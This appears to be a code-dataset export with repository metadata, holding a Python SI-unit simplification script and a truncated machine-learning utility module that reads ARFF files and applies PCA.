hexsha
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string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
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string | max_issues_repo_licenses
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float64 | qsc_code_num_chars_line_max_quality_signal
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int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
d1ebcc2c2e3eb02d2053af354c4961dd8c2d20be
| 18,937
|
py
|
Python
|
physicsUnits.py
|
MatthewZheng/UnitsPlease
|
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|
[
"MIT"
] | null | null | null |
physicsUnits.py
|
MatthewZheng/UnitsPlease
|
5911267b5a0a78dd4d833c6be46e89caaf98c200
|
[
"MIT"
] | null | null | null |
physicsUnits.py
|
MatthewZheng/UnitsPlease
|
5911267b5a0a78dd4d833c6be46e89caaf98c200
|
[
"MIT"
] | null | null | null |
#!/usr/bin/python
_author_ = "Matthew Zheng"
_purpose_ = "Imports all the physics units"
from productClass import Product
#Switchable units
def tryAll(prod):
simplifiedN = []
simplifiedD = []
#Strip units to base form
prod.convertUnits()
prod.derivedToBase()
#assignment and print values
numL = prod.updatedNum
denomL = prod.updatedDenom
print("OLD: The numerator is", numL, "and the denominator is", denomL)
#############Begin unit conversion cases####################################
#Katal
try:
derivedN = ["mol"]
derivedD = ["s"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedN.append("kat")
numL.remove("mol")
denomL.remove("s")
#wrong unit
except ValueError:
pass
#check for inverse unit
try:
derivedN = ["s"]
derivedD = ["mol"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedD.append("kat")
numL.remove("s")
denomL.remove("mol")
#wrong unit
except ValueError:
pass
#Lux
try:
derivedN = ["cd"]
derivedD = ["m", "m"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedN.append("lx")
numL.remove("cd")
denomL.remove("m")
denomL.remove("m")
except ValueError:
pass
try:
derivedN = ["m", "m"]
derivedD = ["cd"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedD.append("lx")
numL.remove("m")
numL.remove("m")
denomL.remove("cd")
except ValueError:
pass
#Henry
try:
derivedN = ["m", "m", "kg"]
derivedD = ["s", "s", "A", "A"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedN.append("H")
numL.remove("kg")
numL.remove("m")
numL.remove("m")
denomL.remove("s")
denomL.remove("s")
denomL.remove("A")
denomL.remove("A")
except ValueError:
pass
try:
derivedN = ["s", "s", "A", "A"]
derivedD = ["m", "m", "kg"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedD.append("H")
numL.remove("s")
numL.remove("s")
numL.remove("A")
numL.remove("A")
denomL.remove("kg")
denomL.remove("m")
denomL.remove("m")
except ValueError:
pass
#Tesla
try:
derivedN = ["kg"]
derivedD = ["s", "s", "A"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedN.append("T")
numL.remove("kg")
denomL.remove("s")
denomL.remove("s")
denomL.remove("A")
except ValueError:
pass
try:
derivedN = ["s", "s", "A"]
derivedD = ["kg"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedD.append("T")
numL.remove("s")
numL.remove("s")
numL.remove("A")
denomL.remove("kg")
except ValueError:
pass
#Weber
try:
derivedN = ["m", "m", "kg"]
derivedD = ["s", "s", "A"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedN.append("Wb")
numL.remove("m")
numL.remove("m")
numL.remove("kg")
denomL.remove("s")
denomL.remove("s")
denomL.remove("A")
except ValueError:
pass
try:
derivedN = ["s", "s", "A"]
derivedD = ["m", "m", "kg"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedD.append("Wb")
numL.remove("s")
numL.remove("s")
numL.remove("A")
denomL.remove("m")
denomL.remove("m")
denomL.remove("kg")
except ValueError:
pass
#Siemens
try:
derivedN = ["s", "s", "s", "A", "A"]
derivedD = ["m", "m", "kg"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedN.append("S")
numL.remove("s")
numL.remove("s")
numL.remove("s")
numL.remove("A")
numL.remove("A")
denomL.remove("m")
denomL.remove("m")
denomL.remove("kg")
except ValueError:
pass
try:
derivedN = ["m", "m", "kg"]
derivedD = ["s", "s", "s", "A", "A"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedD.append("S")
denomL.remove("s")
denomL.remove("s")
denomL.remove("s")
denomL.remove("A")
denomL.remove("A")
numL.remove("m")
numL.remove("m")
numL.remove("kg")
except ValueError:
pass
#Ohm
try:
derivedN = ["m", "m", "kg"]
derivedD = ["s", "s", "s", "A", "A"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedN.append("ohm")
numL.remove("m")
numL.remove("m")
numL.remove("kg")
denomL.remove("s")
denomL.remove("s")
denomL.remove("s")
denomL.remove("A")
denomL.remove("A")
except ValueError:
pass
try:
derivedN = ["s", "s", "s", "A", "A"]
derivedD = ["m", "m", "kg"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedD.append("ohm")
denomL.remove("m")
denomL.remove("m")
denomL.remove("kg")
numL.remove("s")
numL.remove("s")
numL.remove("s")
numL.remove("A")
numL.remove("A")
except ValueError:
pass
#Farad
try:
derivedN = ["s", "s", "s", "s", "A", "A"]
derivedD = ["m", "m", "kg"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedN.append("F")
numL.remove("s")
numL.remove("s")
numL.remove("s")
numL.remove("s")
numL.remove("A")
numL.remove("A")
denomL.remove("m")
denomL.remove("m")
denomL.remove("kg")
except ValueError:
pass
try:
derivedN = ["m", "m", "kg"]
derivedD = ["s", "s", "s", "s", "A", "A"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedD.append("F")
denomL.remove("s")
denomL.remove("s")
denomL.remove("s")
denomL.remove("s")
denomL.remove("A")
denomL.remove("A")
numL.remove("m")
numL.remove("m")
numL.remove("kg")
except ValueError:
pass
#Volt
try:
derivedN = ["m", "m", "kg"]
derivedD = ["s", "s", "s", "A"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedN.append("V")
numL.remove("m")
numL.remove("m")
numL.remove("kg")
denomL.remove("s")
denomL.remove("s")
denomL.remove("s")
denomL.remove("A")
except ValueError:
pass
try:
derivedN = ["s", "s", "s", "A"]
derivedD = ["m", "m", "kg"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedD.append("V")
denomL.remove("m")
denomL.remove("m")
denomL.remove("kg")
numL.remove("s")
numL.remove("s")
numL.remove("s")
numL.remove("A")
except ValueError:
pass
#Coloumb
try:
derivedN = ["s", "A"]
derivedD = []
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedN.append("C")
numL.remove("s")
numL.remove("A")
except ValueError:
pass
try:
derivedN = []
derivedD = ["s", "A"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedD.append("C")
denomL.remove("s")
denomL.remove("A")
except ValueError:
pass
#Watt
try:
derivedN = ["m", "m", "kg"]
derivedD = ["s", "s", "s"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedN.append("W")
numL.remove("kg")
numL.remove("m")
numL.remove("m")
denomL.remove("s")
denomL.remove("s")
denomL.remove("s")
except ValueError:
pass
try:
derivedN = ["s", "s", "s"]
derivedD = ["m", "m", "kg"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedD.append("W")
numL.remove("s")
numL.remove("s")
numL.remove("s")
denomL.remove("kg")
denomL.remove("m")
denomL.remove("m")
except ValueError:
pass
#Joule
try:
derivedN = ["m", "m", "kg"]
derivedD = ["s", "s"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedN.append("J")
numL.remove("kg")
numL.remove("m")
numL.remove("m")
denomL.remove("s")
denomL.remove("s")
except ValueError:
pass
try:
derivedN = ["s", "s"]
derivedD = ["m", "m", "kg"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedD.append("J")
numL.remove("s")
numL.remove("s")
denomL.remove("kg")
denomL.remove("m")
denomL.remove("m")
except ValueError:
pass
#Pascal
try:
derivedN = ["kg"]
derivedD = ["m", "s", "s"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedN.append("Pa")
numL.remove("kg")
denomL.remove("m")
denomL.remove("s")
denomL.remove("s")
except ValueError:
pass
try:
derivedN = ["m", "s", "s"]
derivedD = ["kg"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedD.append("Pa")
numL.remove("m")
numL.remove("s")
numL.remove("s")
denomL.remove("kg")
except ValueError:
pass
#Newtons
try:
derivedN = ["kg", "m"]
derivedD = ["s", "s"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedN.append("N")
numL.remove("kg")
numL.remove("m")
denomL.remove("s")
denomL.remove("s")
except ValueError:
pass
try:
derivedN = ["s", "s"]
derivedD = ["kg", "m"]
#check for membership in base dervied units
for i in numL:
if i in derivedN:
derivedN.remove(i)
for j in denomL:
if j in derivedD:
derivedD.remove(j)
#check if a substitution of units can occur
if (derivedN == [] and derivedD == []):
simplifiedD.append("N")
numL.remove("s")
numL.remove("s")
denomL.remove("kg")
denomL.remove("m")
except ValueError:
pass
#cancel out like units
prod.cancel()
#assignment
simplifiedN.extend(numL)
simplifiedD.extend(denomL)
print("NEW: The numerator is", simplifiedN, "and the denominator is", simplifiedD)
| 29.314241
| 86
| 0.473465
| 2,103
| 18,937
| 4.261531
| 0.048502
| 0.083687
| 0.044968
| 0.063602
| 0.90761
| 0.895671
| 0.884959
| 0.880719
| 0.875251
| 0.846128
| 0
| 0
| 0.405925
| 18,937
| 645
| 87
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| 0
| 0
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| 0
| 1
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| false
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| 0
| 0.005671
| 0.003781
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| null | 0
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| 0
| 1
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| 1
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| 1
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| 0
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| 0
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ae19dd97a0503ea7e39d1533766c28f1e622f919
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|
py
|
Python
|
ml/code/svm/Utils.py
|
cyberdeception/deepdig
|
482061bc5039181a95631fcb8515d990eb2e16a9
|
[
"Apache-2.0"
] | 5
|
2020-03-07T21:28:51.000Z
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2022-03-11T06:03:46.000Z
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ml/code/svm/Utils.py
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cyberdeception/deepdig
|
482061bc5039181a95631fcb8515d990eb2e16a9
|
[
"Apache-2.0"
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ml/code/svm/Utils.py
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cyberdeception/deepdig
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482061bc5039181a95631fcb8515d990eb2e16a9
|
[
"Apache-2.0"
] | 4
|
2019-10-18T18:32:35.000Z
|
2021-07-16T11:52:38.000Z
|
#__author__ = 'khaled'
import os
from sklearn.decomposition import PCA
import config
#import Datastore
#import pandas as pd
from sklearn.preprocessing import LabelEncoder
#from sklearn.lda import LDA
#from sklearn.qda import QDA
from sklearn import preprocessing
from sklearn import linear_model
#import matplotlib.pyplot as plt
import numpy as np
from sklearn.datasets import load_boston
from sklearn.linear_model import LassoCV, LogisticRegression
import classifiers.wekaAPI
import itertools
from sklearn.cluster import KMeans
from scipy.spatial import Delaunay
import random
from sklearn.metrics import roc_curve, auc
from scipy.stats import gaussian_kde
from sklearn.ensemble import ExtraTreesClassifier
from sklearn.feature_selection import SelectFromModel
class Utils:
@staticmethod
def readFile(fileName):
fileLines = [line.strip() for line in open(fileName)]
fileList = []
for fileLine in fileLines:
fileList.append(fileLine)
return fileList
# order instances by class label
@staticmethod
def readFile1(fileName):
fileLines = [line.strip() for line in open(fileName)]
fileList = []
instancesList = []
for fileLine in fileLines:
if fileLine.startswith("@"):
fileList.append(fileLine)
else:
lineList = fileLine.split(",")
instancesList.append(lineList) # list of lists
sortedInstancesList = sorted(instancesList, key=lambda x: x[lineList.__len__() - 1]) # sort by webpage label
for instance in sortedInstancesList:
fileList.append(",".join(instance))
return fileList
# Combine training and testing files and order instances by class label
@staticmethod
def readFile2(trainFileName, testFileName):
trainFileLines = [line.strip() for line in open(trainFileName)]
testFileLines = [line.strip() for line in open(testFileName)]
fileList = []
instancesList = []
for fileLine in trainFileLines:
if fileLine.startswith("@"):
fileList.append(fileLine)
else:
lineList = fileLine.split(",")
instancesList.append(lineList) # list of lists
for fileLine in testFileLines:
# Take instances from the testing file
if not (fileLine.startswith("@") or fileLine.startswith("Direction")):
lineList = fileLine.split(",")
instancesList.append(lineList) # list of lists
sortedInstancesList = sorted(instancesList, key=lambda x: x[lineList.__len__() - 1]) # sort by webpage label
for instance in sortedInstancesList:
fileList.append(",".join(instance))
return fileList
# Combine training and testing files and order instances by class label
# Getting #instancesPerClass only from training file
@staticmethod
def readFile3(trainFileName, testFileName, instancesPerClass):
trainFileLines = [line.strip() for line in open(trainFileName)]
testFileLines = [line.strip() for line in open(testFileName)]
fileList = []
instancesList = []
# for training file
entityCtr = 0
candidateList = []
# get curr website and curr entity
for line in trainFileLines:
if not line[0] == '@':
lineArray = line.split(",")
currentWebsite = lineArray[-1]
currentEntity = lineArray[1]
break
lessInstancesWebsites = []
for line in trainFileLines:
if line[0] == '@':
fileList.append(line)
else:
#print line
lineArray = line.split(",")
website = lineArray[-1]
entity = lineArray[1]
if entity == currentEntity:
if entityCtr < instancesPerClass:
candidateList.append(lineArray)
else:
entityCtr = entityCtr + 1
# for the first line in next entity
if entityCtr < instancesPerClass:
candidateList.append(lineArray)
currentEntity = entity
if website != currentWebsite:
if entityCtr >= instancesPerClass:
for instance in candidateList:
instancesList.append(instance)
#if entityCtr == 7:
#print currentWebsite + " " + str(classes.index(currentWebsite))
entityCtr = 0
currentWebsite = website
candidateList = []
if entityCtr >= instancesPerClass:
for instance in candidateList:
instancesList.append(instance)
# same for testing file
entityCtr = 0
candidateList = []
testingInstancesList = [] # as websites are not ordered in CPD testing files
for fileLine in testFileLines:
# Take instances from the testing file
if not (fileLine.startswith("@") or fileLine.startswith("Direction")):
lineList = fileLine.split(",")
testingInstancesList.append(lineList) # list of lists
sortedTestingInstancesList = sorted(testingInstancesList, key=lambda x: x[lineList.__len__() - 1]) # sort by webpage label
# get curr website and curr entity
for line in sortedTestingInstancesList:
line = ",".join(line)
if not (line.startswith("@") or line.startswith("Direction")):
lineArray = line.split(",")
currentWebsite = lineArray[-1]
currentEntity = lineArray[1]
break
for line in sortedTestingInstancesList:
line = ",".join(line)
if not (line.startswith("@") or line.startswith("Direction")):
#print line
lineArray = line.split(",")
website = lineArray[-1]
entity = lineArray[1]
if entity == currentEntity:
if entityCtr < instancesPerClass:
candidateList.append(lineArray)
else:
entityCtr = entityCtr + 1
# for the first line in next entity
if entityCtr < instancesPerClass:
candidateList.append(lineArray)
currentEntity = entity
if website != currentWebsite:
if entityCtr >= instancesPerClass:
for instance in candidateList:
instancesList.append(instance)
#if entityCtr == 7:
#print currentWebsite + " " + str(classes.index(currentWebsite))
entityCtr = 0
currentWebsite = website
candidateList = []
if entityCtr >= instancesPerClass:
for instance in candidateList:
instancesList.append(instance)
'''
for fileLine in trainFileLines:
if fileLine.startswith("@"):
fileList.append(fileLine)
else:
lineList = fileLine.split(",")
instancesList.append(lineList) # list of lists
for fileLine in testFileLines:
# Take instances from the testing file
if not (fileLine.startswith("@") or fileLine.startswith("Direction")):
lineList = fileLine.split(",")
instancesList.append(lineList) # list of lists
'''
#print instancesList
sortedInstancesList = sorted(instancesList, key=lambda x: x[lineArray.__len__() - 1]) # sort by webpage label
# Return list that has equal number of training and testing instances for each class (instancesPerClass * 2)
entityCtr = 0
candidateList = []
sortedInstancesListFull = []
# get curr website and curr entity
for line in sortedInstancesList:
line = ",".join(line)
if not (line.startswith("@") or line.startswith("Direction")):
lineArray = line.split(",")
currentWebsite = lineArray[-1]
currentEntity = lineArray[1]
break
#print sortedInstancesList
for line in sortedInstancesList:
line = ",".join(line)
if not (line.startswith("@") or line.startswith("Direction")):
#print line
lineArray = line.split(",")
website = lineArray[-1]
entity = lineArray[1]
if entity == currentEntity:
if entityCtr < (instancesPerClass * 2):
candidateList.append(lineArray)
else:
entityCtr = entityCtr + 1
# for the first line in next entity
if entityCtr < (instancesPerClass * 2):
candidateList.append(lineArray)
currentEntity = entity
if website != currentWebsite:
if entityCtr >= (instancesPerClass * 2):
for instance in candidateList:
sortedInstancesListFull.append(instance)
#if entityCtr == 7:
#print currentWebsite + " " + str(classes.index(currentWebsite))
entityCtr = 0
currentWebsite = website
candidateList = []
if entityCtr >= (instancesPerClass * 2):
for instance in candidateList:
sortedInstancesListFull.append(instance)
#print sortedInstancesListFull
for instance in sortedInstancesListFull:
fileList.append(",".join(instance))
return fileList
'''
@staticmethod
def calcPCA():
X = np.array([[-1, -1], [-2, -1], [-3, -2], [1, 1], [2, 1], [3, 2]])
pca = PCA(n_components=2)
sklearn_transf = pca.fit(X)
print sklearn_transf.components_
print sklearn_transf.components_[0,0]
print(pca.explained_variance_ratio_)
'''
@staticmethod
def calcPCA(files):
'''
#X = np.array([[-1, -1, 1], [-2, -1, 5], [-3, -2, 6], [1, 1, 7], [2, 1, 8], [3, 2, 5]])
#instancesList = [[-1, -1, 1], [-2, -1, 5], [-3, -2, 6], [1, 1, 7], [2, 1, 8], [3, 2, 5]]
print files
instancesList = []
instancesList.append([-1, -1, 1])
instancesList.append([-2, -1, 5])
instancesList.append([-3, -2, 6])
instancesList.append([1, 1, 7])
instancesList.append([2, 1, 8])
instancesList.append([3, 2, 5])
print instancesList
X = np.array(instancesList)
pca = PCA(n_components=2)
sklearn_transf = pca.fit(X)
print sklearn_transf.components_
print sklearn_transf.components_[0,0]
print ""
print "X", X[0].T
print "EigVec", sklearn_transf.components_[0]
print X[0].T.dot(sklearn_transf.components_[0])
#print(pca.explained_variance_ratio_)
'''
trainList = Utils.readFile1(files[0])
testList = Utils.readFile1(files[1])
instancesList = []
classes = ""
for line in trainList:
if line[0] == '@':
if line.lower().startswith("@attribute class"):
classes = line.split(" ")[2]
else:
#instancesList.append(float(line.split(",")[:-1]))
instancesList.append([float(i) for i in line.split(",")[:-1]])
for line in testList:
if line[0] != '@':
instancesList.append([float(i) for i in line.split(",")[:-1]])
#print instancesList
X = np.array(instancesList)
#print X
#X = (X - np.mean(X, 0)) / np.std(X, 0) # scale data before CPA
preprocessing.scale(X, axis=0, with_mean=True, with_std=True, copy=False)
#config.n_components_PCA = 39
pca = PCA(n_components=config.n_components_PCA)
sklearn_transf = pca.fit(X)
#print "EigVec", sklearn_transf.components_[0]
#print sklearn_transf
#print pca.explained_variance_
#print pca.explained_variance_ratio_
print ('explained variance (first %d components): %.2f'%(config.n_components_PCA, sum(pca.explained_variance_ratio_)))
newTrainList = []
newTestList = []
newTrainList.append('@RELATION sites')
newTestList.append('@RELATION sites')
for i in range(0,config.n_components_PCA):
newTrainList.append('@ATTRIBUTE k'+ str(i+1) +' real')
newTestList.append('@ATTRIBUTE k'+ str(i+1) +' real')
newTrainList.append('@ATTRIBUTE class '+classes)
newTestList.append('@ATTRIBUTE class '+classes)
newTrainList.append('@DATA')
newTestList.append('@DATA')
for line in trainList:
if line[0] != '@':
webpage=line.split(",")[-1]
webpageInstance=[]
for j in range(0,config.n_components_PCA):
webpageInstance.append(np.array([float(i) for i in line.split(",")[:-1]]).T.dot(sklearn_transf.components_[j])) # dot product for each instance and the eigen vector associated with highest eigen values
newTrainList.append(','.join([str(k) for k in webpageInstance]) + ',' + webpage)
for line in testList:
if line[0] != '@':
webpage=line.split(",")[-1]
webpageInstance=[]
for j in range(0,config.n_components_PCA):
webpageInstance.append(np.array([float(i) for i in line.split(",")[:-1]]).T.dot(sklearn_transf.components_[j]))
newTestList.append(','.join([str(k) for k in webpageInstance]) + ',' + webpage)
# writing the new training file (with lower dimensions)
fnewTrainName = files[0][:-5]+'_PCA_'+str(config.n_components_PCA)+'.arff'
fnewTrain = open(fnewTrainName, 'w')
for item in newTrainList:
fnewTrain.write(item+'\n')
fnewTrain.close()
# writing the new testing file (with lower dimensions)
fnewTestName = files[1][:-5]+'_PCA_'+str(config.n_components_PCA)+'.arff'
fnewTest = open(fnewTestName, 'w')
for item in newTestList:
fnewTest.write(item+'\n')
fnewTest.close()
return [fnewTrainName,fnewTestName]
@staticmethod
def calcPCA2(files):
trainList = Utils.readFile1(files[0])
testList = Utils.readFile1(files[1])
instancesList = []
classes = ""
y=[]
for line in trainList:
if line[0] == '@':
if line.lower().startswith("@attribute class"):
classes = line.split(" ")[2]
else:
#instancesList.append(float(line.split(",")[:-1]))
instancesList.append([float(i) for i in line.split(",")[:-1]])
y.append(line.split(",")[-1])
for line in testList:
if line[0] != '@':
instancesList.append([float(i) for i in line.split(",")[:-1]])
y.append(line.split(",")[-1])
#print instancesList
X = np.array(instancesList)
#print X
#X = (X - np.mean(X, 0)) / np.std(X, 0) # scale data before CPA
preprocessing.scale(X, axis=0, with_mean=True, with_std=True, copy=False)
#print X
#config.n_components_PCA = 39
pca = PCA(n_components=config.n_components_PCA)
sklearn_transf = pca.fit(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
X_transformed = sklearn_transf.transform(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
#print X_transformed[0:1,0:5]
#print "EigVec", sklearn_transf.components_[0]
#print sklearn_transf
#print pca.explained_variance_
print pca.explained_variance_ratio_
print ('explained variance (first %d components): %.2f'%(config.n_components_PCA, sum(pca.explained_variance_ratio_)))
newTrainList = []
newTestList = []
newTrainList.append('@RELATION sites')
newTestList.append('@RELATION sites')
for i in range(0,config.n_components_PCA):
newTrainList.append('@ATTRIBUTE k'+ str(i+1) +' real')
newTestList.append('@ATTRIBUTE k'+ str(i+1) +' real')
newTrainList.append('@ATTRIBUTE class '+classes)
newTestList.append('@ATTRIBUTE class '+classes)
newTrainList.append('@DATA')
newTestList.append('@DATA')
ctr = 0
#for item in X_lda_sklearn:
for i in xrange(len(X)):
webpageInstance=[]
for j in range(0,config.n_components_PCA):
webpageInstance.append(X[i].T.dot(sklearn_transf.components_[j]))
#print webpageInstance
if ctr < config.BUCKET_SIZE * config.NUM_TRAINING_TRACES:
newTrainList.append(','.join([str(k) for k in webpageInstance]) + ',' + y[i])
else:
newTestList.append(','.join([str(k) for k in webpageInstance]) + ',' + y[i])
ctr = ctr + 1
# writing the new training file (with lower dimensions)
fnewTrainName = files[0][:-5]+'_PCA_'+str(config.n_components_PCA)+'.arff'
fnewTrain = open(fnewTrainName, 'w')
for item in newTrainList:
fnewTrain.write(item+'\n')
fnewTrain.close()
# writing the new testing file (with lower dimensions)
fnewTestName = files[1][:-5]+'_PCA_'+str(config.n_components_PCA)+'.arff'
fnewTest = open(fnewTestName, 'w')
for item in newTestList:
fnewTest.write(item+'\n')
fnewTest.close()
return [fnewTrainName,fnewTestName]
@staticmethod
def calcPCA3(files):
trainList = Utils.readFile1(files[0])
testList = Utils.readFile1(files[1])
instancesList = []
classes = ""
y=[]
for line in trainList:
if line[0] == '@':
if line.lower().startswith("@attribute class"):
classes = line.split(" ")[2]
else:
#instancesList.append(float(line.split(",")[:-1]))
instancesList.append([float(i) for i in line.split(",")[:-1]])
y.append(line.split(",")[-1])
for line in testList:
if line[0] != '@':
instancesList.append([float(i) for i in line.split(",")[:-1]])
y.append(line.split(",")[-1])
#print instancesList
X = np.array(instancesList)
#print X
#X = (X - np.mean(X, 0)) / np.std(X, 0) # scale data before CPA
preprocessing.scale(X, axis=0, with_mean=True, with_std=True, copy=False)
#print X
#config.n_components_PCA = 39
pca = PCA(n_components=config.n_components_PCA)
sklearn_transf = pca.fit(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
X_transformed = sklearn_transf.transform(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
#print X_transformed[0:1,0:5]
#print "EigVec", sklearn_transf.components_[0]
#print sklearn_transf
#print pca.explained_variance_
print pca.explained_variance_ratio_
print ('explained variance (first %d components): %.2f'%(config.n_components_PCA, sum(pca.explained_variance_ratio_)))
newTrainList = []
newTestList = []
newTrainList.append('@RELATION sites')
newTestList.append('@RELATION sites')
for i in range(0,config.n_components_PCA):
newTrainList.append('@ATTRIBUTE k'+ str(i+1) +' real')
newTestList.append('@ATTRIBUTE k'+ str(i+1) +' real')
newTrainList.append('@ATTRIBUTE class '+classes)
newTestList.append('@ATTRIBUTE class '+classes)
newTrainList.append('@DATA')
newTestList.append('@DATA')
ctr = 0
#for item in X_lda_sklearn:
for i in xrange(len(X)):
webpageInstance=[]
for j in range(0,config.n_components_PCA):
webpageInstance.append(X[i].T.dot(sklearn_transf.components_[j]))
#print webpageInstance
if ctr < config.BUCKET_SIZE * config.NUM_TRAINING_TRACES:
newTrainList.append(','.join([str(k) for k in webpageInstance]) + ',' + y[i])
else:
newTestList.append(','.join([str(k) for k in webpageInstance]) + ',' + y[i])
ctr = ctr + 1
# writing the new training file (with lower dimensions)
fnewTrainName = files[0][:-5]+'_PCA_'+str(config.n_components_PCA)+'.arff'
fnewTrain = open(fnewTrainName, 'w')
for item in newTrainList:
fnewTrain.write(item+'\n')
fnewTrain.close()
# writing the new testing file (with lower dimensions)
fnewTestName = files[1][:-5]+'_PCA_'+str(config.n_components_PCA)+'.arff'
fnewTest = open(fnewTestName, 'w')
for item in newTestList:
fnewTest.write(item+'\n')
fnewTest.close()
return [fnewTrainName,fnewTestName]
@staticmethod
def calcLDA(files): # Linear (Multi Class) Discriminant Analysis
'''
X = np.array([[-1, -1], [-2, -1], [-3, -2], [1, 1], [2, 1], [3, 2]])
#y = np.array([1, 1, 1, 2, 2, 2])
y = np.array(['aa', 'aa', 'aa', 'bc', 'bc', 'bc'])
clf = LDA()
print clf.fit(X, y)
print(clf.predict([[-0.8, -1]]))
feature_dict = {i:label for i,label in zip(
range(4),
('sepal length in cm',
'sepal width in cm',
'petal length in cm',
'petal width in cm', ))}
df = pd.io.parsers.read_csv(
